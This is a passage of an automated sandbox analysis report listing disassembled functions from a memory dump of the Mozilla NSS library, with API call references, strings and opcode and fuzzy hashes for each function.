Part of subcall function 6C7209D0: PR_LogFlush.NSS3 ref: 6C720C7E

Strings

pInitArgs = 0x%p, xrefs: 6C641CEC
C_Initialize, xrefs: 6C641CD3
nrl, xrefs: 6C641D09, 6C641D30

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize$nrl
API String ID: 1907330108-975687838
Opcode ID: 1822364c62011aa7c4dd2b41f8b79e89afbaae8de65a58617705b1b2cdb5a3b2
Instruction ID: dfb69d2b1ceeb627512b7789ae02be66624c66201f6611f05d5bfb491e17e76e
Opcode Fuzzy Hash: 1822364c62011aa7c4dd2b41f8b79e89afbaae8de65a58617705b1b2cdb5a3b2
Instruction Fuzzy Hash: CC01DEB5300158DFCB02AB24CA0CB5937B5EB8332AF08C034E809D2A11DF34D859CBB6

Function 6C6BAC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]jl,00000000,?,?,6C696AC6,?), ref: 6C6BAC2D

Part of subcall function 6C65ADC0: TlsGetValue.KERNEL32(?,6C63CDBB,?,6C63D079,00000000,00000001), ref: 6C65AE10
Part of subcall function 6C65ADC0: EnterCriticalSection.KERNEL32(?,?,6C63CDBB,?,6C63D079,00000000,00000001), ref: 6C65AE24
Part of subcall function 6C65ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C63D079,00000000,00000001), ref: 6C65AE5A
Part of subcall function 6C65ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C63CDBB,?,6C63D079,00000000,00000001), ref: 6C65AE6F
Part of subcall function 6C65ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C63CDBB,?,6C63D079,00000000,00000001), ref: 6C65AE7F
Part of subcall function 6C65ADC0: TlsGetValue.KERNEL32(?,6C63CDBB,?,6C63D079,00000000,00000001), ref: 6C65AEB1
Part of subcall function 6C65ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C63CDBB,?,6C63D079,00000000,00000001), ref: 6C65AEC9

PK11_FreeSymKey.NSS3(?,@]jl,00000000,?,?,6C696AC6,?), ref: 6C6BAC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]jl,00000000,?,?,6C696AC6,?), ref: 6C6BAC59
free.MOZGLUE(8CB6FF01,6C696AC6,?,?,?,?,?,?,?,?,?,?,6C6A5D40,00000000,?,6C6AAAD4), ref: 6C6BAC62

Strings

@]jl, xrefs: 6C6BAC05

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]jl
API String ID: 1595327144-86152348
Opcode ID: 3ae1def77bf3068dc2faeaa33b569ec039c9c398492240492727f24bb49c531f
Instruction ID: f25dd86db0c218a76cfb5d69e9722bf2d03a8f4bc820ff2227f587cc19e622dc
Opcode Fuzzy Hash: 3ae1def77bf3068dc2faeaa33b569ec039c9c398492240492727f24bb49c531f
Instruction Fuzzy Hash: BD018BB56002009FDB00DF19E8C0B5677E8AF05B18F1880A8E9499F707D730F818CBBA

Function 6C5A9C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5A9CF2
LeaveCriticalSection.KERNEL32(?), ref: 6C5A9D45
EnterCriticalSection.KERNEL32(?), ref: 6C5A9D8B
LeaveCriticalSection.KERNEL32(?), ref: 6C5A9DDE

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 18d4635ff2074b9d7a1027855026b568dedb0c497f81a241ec9530565a5ed7ec
Instruction ID: 748f7f36029a93c0052bdc7229efc7f35d8c5bbf26948df8cdd5f1f3ab7708b4
Opcode Fuzzy Hash: 18d4635ff2074b9d7a1027855026b568dedb0c497f81a241ec9530565a5ed7ec
Instruction Fuzzy Hash: 2CA1AF31704624DBEB0A9FA6EC9977E3771BB87315F18013DD4064BA50DB3A9846CBA2

Function 6C631E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6C631ECC

Part of subcall function 6C6D9090: TlsGetValue.KERNEL32 ref: 6C6D90AB
Part of subcall function 6C6D9090: TlsGetValue.KERNEL32 ref: 6C6D90C9
Part of subcall function 6C6D9090: EnterCriticalSection.KERNEL32 ref: 6C6D90E5
Part of subcall function 6C6D9090: TlsGetValue.KERNEL32 ref: 6C6D9116
Part of subcall function 6C6D9090: LeaveCriticalSection.KERNEL32 ref: 6C6D913F

TlsGetValue.KERNEL32 ref: 6C631EDF
EnterCriticalSection.KERNEL32(?), ref: 6C631EEF
PR_ExitMonitor.NSS3(?), ref: 6C631F37
PR_Unlock.NSS3(?), ref: 6C631F44

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: f7d6817e51bbba9b25ddc522477ccfc3a3f156fe4a73ef882078837a4249fb3c
Instruction ID: 071ebcba91a80dcbe246a45ae9d211b786f9be48c06d2db0c0f659f1bdc52f2e
Opcode Fuzzy Hash: f7d6817e51bbba9b25ddc522477ccfc3a3f156fe4a73ef882078837a4249fb3c
Instruction Fuzzy Hash: D071CD72A043119FD700CF24D840A5AB7F1FF89358F14692DE89993B21E731F959CB9A

Function 6C6BDD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6BDD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6C6BDDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6C6BDE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6C6BDE77

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: 8a96a6910c01bd811627d1a5ca7789cfca35fcb471f4c6f54d7442aa565eea14
Instruction ID: 740e2cc819555711969358128fcdd6f4e2ee46af70534d6a097f9388a6065bb5
Opcode Fuzzy Hash: 8a96a6910c01bd811627d1a5ca7789cfca35fcb471f4c6f54d7442aa565eea14
Instruction Fuzzy Hash: E0717471A04318CFDB10CF9AC580A9AB7B4BF89718F25816DD9587F70AD730A912CF94

Function 6C62DFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6C62AB10: DeleteCriticalSection.KERNEL32(D958E852,6C631397,5B5F5EC0,?,?,6C62B1EE,2404110F,?,?), ref: 6C62AB3C
Part of subcall function 6C62AB10: free.MOZGLUE(D958E836,?,6C62B1EE,2404110F,?,?), ref: 6C62AB49
Part of subcall function 6C62AB10: DeleteCriticalSection.KERNEL32(5D5E6C82), ref: 6C62AB5C
Part of subcall function 6C62AB10: free.MOZGLUE(5D5E6C76), ref: 6C62AB63
Part of subcall function 6C62AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C62AB6F
Part of subcall function 6C62AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C62AB76

TlsGetValue.KERNEL32(?,?,6C62B266,6C6315C6,?,?,6C6315C6), ref: 6C62DFDA
EnterCriticalSection.KERNEL32(?,?,?,6C62B266,6C6315C6,?,?,6C6315C6), ref: 6C62DFF3
PK11_IsFriendly.NSS3(?,?,?,?,6C62B266,6C6315C6,?,?,6C6315C6), ref: 6C62E029
PK11_IsLoggedIn.NSS3 ref: 6C62E046

Part of subcall function 6C638F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C638FAF
Part of subcall function 6C638F70: PR_Now.NSS3(?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C638FD1
Part of subcall function 6C638F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C638FFA
Part of subcall function 6C638F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C639013
Part of subcall function 6C638F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C639042
Part of subcall function 6C638F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C63905A
Part of subcall function 6C638F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C639073
Part of subcall function 6C638F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C639111

PR_Unlock.NSS3(?,?,?,?,6C62B266,6C6315C6,?,?,6C6315C6), ref: 6C62E149

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: a8d2ff187a83908548202cbf32ee5dbcacaa58a33773668f06be2c096614fc21
Instruction ID: dbc3f82765d4ea1f3e632ea4447c3aea7b74aa8da0d262ec28112aff23849919
Opcode Fuzzy Hash: a8d2ff187a83908548202cbf32ee5dbcacaa58a33773668f06be2c096614fc21
Instruction Fuzzy Hash: 12515870600601CFDB10DF29C58476ABBF0BF4930AF15896DD8998BB51D739E886CF9A

Function 6C63BE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6C63BF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C63BF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6C619F71,?,?,00000000), ref: 6C63BF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6C63BFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C63C014

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: 3c9aead5a4b0b533ee90a6df7967fa1e5f75d3ccf3b220057732041781206ec1
Instruction ID: 242f7f816c6e894b7f8f6743138fd0f1e030d95c288e3ed24b81ee6271818885
Opcode Fuzzy Hash: 3c9aead5a4b0b533ee90a6df7967fa1e5f75d3ccf3b220057732041781206ec1
Instruction Fuzzy Hash: 7D41C571A016259BEB00DE66CC40BEA73B9AF85348F11712CE81DD7B41FB31E905CBA9

Function 6C60EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C60EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C60EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C60EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C60EEEB
free.MOZGLUE(?), ref: 6C60EEF6

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 769bd324affd49dffd940546e3c13edc8999f9734f6618a6fe2bd8ae1514e11e
Instruction ID: f477ac15c23f96ccadc2a6e378e92fd7a7868aa104064de5cada6a673a27ac19
Opcode Fuzzy Hash: 769bd324affd49dffd940546e3c13edc8999f9734f6618a6fe2bd8ae1514e11e
Instruction Fuzzy Hash: 643139717002289BDB149F28CD447A67BF4FB46305F140538E89A97A50D731E455CBE9

Function 6C621F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C621F1C

Part of subcall function 6C670FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6187ED,00000800,6C60EF74,00000000), ref: 6C671000
Part of subcall function 6C670FF0: PR_NewLock.NSS3(?,00000800,6C60EF74,00000000), ref: 6C671016
Part of subcall function 6C670FF0: PL_InitArenaPool.NSS3(00000000,security,6C6187ED,00000008,?,00000800,6C60EF74,00000000), ref: 6C67102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6C739EBC), ref: 6C621FB8
SEC_ASN1EncodeItem_Util.NSS3(6C739E9C,?,?,6C739E9C), ref: 6C62200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C622020

Part of subcall function 6C616A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C61AD50,?,?), ref: 6C616A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C622030

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: 4f589c3f4a2ec68149988b7678cfd58ea1a95db96ea8ec3fb81b276d34c5e81c
Instruction ID: 0e1f888674d103aa676377101d5e0541567d498a537976a816af958e64b2e3f6
Opcode Fuzzy Hash: 4f589c3f4a2ec68149988b7678cfd58ea1a95db96ea8ec3fb81b276d34c5e81c
Instruction Fuzzy Hash: D021F9B59455117BE7114A19DC40FA677A8FF4232CF140215E83896F80E736E928CBAD

Function 6C611DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C611E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C611E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C611E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C611E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C611EAD

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: 07566f344c38c6cf35819785818879f7d486e39b7ec429ce65a20e387fab9796
Instruction ID: 35ae19d5d2a39a8c6a9ed18598df02e063572f961ab182cb2e82e81c47f6d2d2
Opcode Fuzzy Hash: 07566f344c38c6cf35819785818879f7d486e39b7ec429ce65a20e387fab9796
Instruction Fuzzy Hash: B021D372E08715A7D700CFA8DC40B9B73949B95369F144638ED6957B80E730D90A87EA

Function 6C721E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C721E5C

Part of subcall function 6C6D9BF0: TlsGetValue.KERNEL32(?,?,?,6C720A75), ref: 6C6D9C07

PR_Lock.NSS3(00000000), ref: 6C721E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C721EAB
PR_GetCurrentThread.NSS3 ref: 6C721ED0
PR_Unlock.NSS3(?), ref: 6C721EE8

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: 054e5c6ad8897449527e32ce9b494a1c149fa119c78528d5422653d98f968663
Instruction ID: 932f0caa56a921377959ce06da85709bd49d71f19c0146afcf60b4aae8c6eb17
Opcode Fuzzy Hash: 054e5c6ad8897449527e32ce9b494a1c149fa119c78528d5422653d98f968663
Instruction Fuzzy Hash: A621CF74E14612ABD710CF29DE40A06B7B8FF45729B268229E8199BB41D732FD20CBD5

Function 6C66BE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C61E708,00000000,00000000,00000004,00000000), ref: 6C66BE6A

Part of subcall function 6C670840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6708B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6204DC,?), ref: 6C66BE7E

Part of subcall function 6C66FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C668D2D,?,00000000,?), ref: 6C66FB85
Part of subcall function 6C66FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C66FBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C66BEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6204DC,?,?), ref: 6C66BED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C66BEEB

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: 99b40c430796805b2c6984ec7c7d206dc61f42033fe0c621c006c82c86e61ac3
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: F6112F66A04306A7E7008A67AC90F6B73AD9BC1798F040121FE0582E62E731D8049BEF

Function 6C61AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C613FFF,00000000,?,?,?,?,?,6C611A1C,00000000,00000000), ref: 6C61ADA7

Part of subcall function 6C6714C0: TlsGetValue.KERNEL32 ref: 6C6714E0
Part of subcall function 6C6714C0: EnterCriticalSection.KERNEL32 ref: 6C6714F5
Part of subcall function 6C6714C0: PR_Unlock.NSS3 ref: 6C67150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C613FFF,00000000,?,?,?,?,?,6C611A1C,00000000,00000000), ref: 6C61ADB4

Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C6710F3
Part of subcall function 6C6710C0: EnterCriticalSection.KERNEL32(?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67110C
Part of subcall function 6C6710C0: PL_ArenaAllocate.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671141
Part of subcall function 6C6710C0: PR_Unlock.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671182
Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C613FFF,?,?,?,?,6C613FFF,00000000,?,?,?,?,?,6C611A1C,00000000), ref: 6C61ADD5

Part of subcall function 6C66FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C668D2D,?,00000000,?), ref: 6C66FB85
Part of subcall function 6C66FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C66FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C7394B0,?,?,?,?,?,?,?,?,6C613FFF,00000000,?), ref: 6C61ADEC

Part of subcall function 6C66B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7418D0,?), ref: 6C66B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C613FFF), ref: 6C61AE3C

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
